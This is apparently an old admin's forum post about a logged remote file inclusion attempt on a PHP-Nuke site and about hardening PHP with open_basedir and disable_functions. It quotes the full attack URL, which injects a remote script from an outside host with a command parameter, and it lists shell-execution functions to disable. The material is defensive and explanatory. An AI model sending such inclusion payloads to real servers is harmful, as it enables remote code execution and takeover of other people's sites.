Well, it's been a good while since I've discussed PHP security, and since I just beat a fairly interesting PHP attack, I thought I'd take a moment to tell you about the attempted compromise, and what you can do to secure your PHP installation.

Being one of those old schoolers that thinks it's important to check their logs every single damn day, here's what I found. I have specially formatted errors that I create with a php script:

PHP Code:
The following error has been received on Saturday 22nd of January 2005 03:24:45 
Error 404 
Page Not Found
Requested URL
:  mydomain.com/modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.derf.hpgvip.com.br/newcmd.gif?&cmd=id
Referring URL
Visitor's IP Address: 200.151.70.121 (The attacker)
User Agent: 
Let's review this attack in greater detail. While I do run php-nuke, there are things that I do to protect my setup. This attack is trying to exploit a flaw in the application coppermine. Coppermine fails to properly validate paths. That being the case, it's possible for an attacker to attempt to supply a path to a php script on a remote server to be included locally on your server.

Taking a look at what the attacker is trying to include:
http://www.derf.hpgvip.com.br/newcmd.gif?&cmd=id

Examining the attacker's page. After reading the code, basically the attacker is trying to add a backdoor some c shellcode into the kernel, ouch. The attacker does this by taking advantage of the fact that /tmp is normally writable.

How did I avoid this attack? Well, firstly I'm not running coppermine, but forget that part, it could be any php app that doesn't validate a path, so what exactly could have been done to prevent this?

For one, you should definately enable open_basedir restrictions. What it does is limit the files that can be opened by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off. When a script tries to open a file with, for example, fopen() or gzopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. All symbolic links are resolved, so it's not possible to avoid this restriction with a symlink.

Disabling dangerous functions.
PHP Code:
 disable_functions shell_exec,proc_open,system,exec,passthru,phpinfo,show_source 
Disabling the above functions is a good start. These functions give the ability to run commands and execute external programs. Very dangerous indeed if the wrong thing gets run. In a production environment, especially a hosting environment, these should all be disabled.

Your probably wondering why phpinfo and show_source should be disabled. Again, if it's a production environment and not a development environment, there is no reason to let potentioal attackers gleam information about your setup with phpinfo. show_source is a very dangerous function if run, as it does exactly what it's named for, showing the source of your php code, that could include hardcoded usernames and passwords (config.php anyone).

Let's go back to the attack and see how well it would have worked, with your php settings hardend. Your right, the attacker's code couldn't do jack. It never would have written anything to /tmp because it's outside the directory that php would have been allowed to even access, let alone write to. Secondly, we've disabled those dangerous functions that as you can see, attackers are willing and ready to use.

I hope that this post helps some of you PHP coders out there. This applies to you, even if you just have a hosted account and don't run the box yourself.

In closing, to the lame script kiddies, I'd like to swing my hammer to the teeth of Data Cha0s, you guyz don't own crap, your technique sucks, and didn't involve any skill. Your only attacking what you think are vulnerable people because your weak yourselves. I step on you cockroaches.


PuRe